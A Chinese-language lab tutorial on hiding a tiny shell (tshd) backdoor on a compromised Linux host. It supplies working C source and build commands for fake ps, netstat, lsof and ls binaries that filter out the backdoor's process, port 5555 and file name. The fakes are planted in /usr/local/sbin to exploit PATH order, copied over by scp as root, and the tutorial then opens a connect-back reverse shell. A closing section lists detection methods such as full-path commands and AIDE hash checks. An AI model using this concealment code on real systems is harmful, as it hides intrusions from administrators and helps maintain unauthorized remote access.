一、简介
在《Linux系统使用tiny shell进行远程控制和传输文件》一文中介绍了tiny shell后门的使用方法。虽然tiny shell运行后将自己的进程名称伪装成/bin/bash,但还是存在进程信息,并且它的网络连接信息和可执行文件名称都是可见的,如果不对这些信息进行隐藏,管理员会很容易发现这是个后门。本文在该文的基础上介绍一种隐藏后门的方法:通过伪造ps、netstat、lsof和ls命令的二进制文件,在靶机运行tiny shell后门之后,向管理员隐藏tshd的进程、网络连接和文件的信息。
二、实验平台
三、操作步骤
(一)攻击者伪造特定的系统程序
由于kali linux和ubuntu都是基于debian的操作系统,因此在kali上编译的二进制程序,在ubtunu系统中也可以运行。下面在kali机器上执行下面的操作:
1、 伪造ps程序
mkdir test && cd test
vi ps.c //编辑源代码文件,加入下面的内容
int main(int a,char**b){
char*c[999999]={"sh","-c","/bin/ps \$*|grep -Ev '/bin/bash'"};
memcpy(c+3,b,8*a);
execv("/bin/sh",c);
}
保存退出。
源代码的意思是,执行系统自带的ps程序,但是在ps的输出中去除含有/bin/bash的行(tshd会将自己的进程名称伪装为/bin/bash)。
//编译生成二进制程序,可能会出现警告信息,但不影响使用。编译生成的二进制文件自动拥有执行权限
gcc -xc ps.c -o ps
2、 伪造netstat程序
vi netstat.c //编辑源代码文件,加入下面的内容
int main(int a,char**b){ char*c[999999]={"sh","-c","/bin/netstat \$*|grep -Ev '5555'"}; memcpy(c+3,b,8*a); execv("/bin/sh",c); }
保存退出。代码的意思是,在/bin/netstat程序的输出中去除含有5555的行(tshd监听本地5555端口,或在反弹模式中连接远程的5555端口)。
//编译生成二进制文件 gcc -xc netstat.c -o netstat
3、 伪造lsof程序
vi lsof.c //编辑源代码文件,加入下面的内容
int main(int a,char**b){ char*c[999999]={"sh","-c","/usr/bin/lsof \$*|grep -Ev '5555|tshd'"}; memcpy(c+3,b,8*a); execv("/bin/sh",c); }
保存退出。tshd在lsof的输出中还是会显示为tshd,隐藏含有5555或者tshd的行。
//编译生成二进制文件 gcc -xc lsof.c -o lsof
4、 伪造ls程序
vi ls.c //编辑源代码文件,加入下面的内容
int main(int a,char**b){ char*c[999999]={"sh","-c","/bin/ls \$*|grep -Ev 'tshd'"}; memcpy(c+3,b,8*a); execv("/bin/sh",c); }
保存退出。在/bin/ls的输出中隐藏tshd。
//编译生成二进制文件 gcc -xc ls.c -o ls //查看靶机PATH环境变量
可以看到,ps命令所在的路径为/bin,而在环境变量PATH的值中,/usr/local/sbin在/bin的前面。因此若将伪造的二进制程序放在/usr/local/sbin目录,则用户输入ps命令时将执行伪造的ps,不会执行真的ps。
//将伪造的程序复制到靶机的/usr/local/sbin目录
scp -p ps netstat lsof ls root@192.168.242.118:/usr/local/sbin/
(二)运行tiny shell后门程序
1、 攻击者运行客户端程序
./tsh cb //cb表示connect back
客户端程序开始监听本地端口,等待服务端连接。
2、 靶机执行后门程序
./tshd
最多半分钟,攻击者获得反弹shell:
(三)查看tshd的隐藏效果
1、 使用ps命令查看进程列表
通过对比,伪造的ps输出的进程列表中看不到tshd的/bin/bash进程,但是该进程是存在的。
2、 使用netstat查看网络连接
伪造的netstat输出的网络连接信息中也看不到tshd和它所连接的5555端口。
3、 使用lsof查看端口占用
伪造的lsof的输出中也无法通过端口找到tshd。
4、 使用ls查看文件
伪造的ls -l也看不到tshd文件。
四、结论
以上的方法可以将tshd的进程和二进制文件从ps、netstat、lsof和ls命令的输出中消除掉,勉强实现隐藏后门的效果。但是这种方法的局限性也是明显的。只要管理员输入完整路径的命令,就可以看到真实的输出。如果用伪造的程序覆盖正常的程序,管理员也可以从其它机器上复制可信的可执行文件到目标机器运行,从而看到真实结果。如果管理员以前通过AIDE之类的程序生成了系统文件散列值的数据库,那么管理员只要将当前系统文件的散列值与数据库进行比对,即可发现新增和被篡改的文件。相比之下,使用LD_Preload rootkit或者LKM rootkit,隐藏的效果会更好。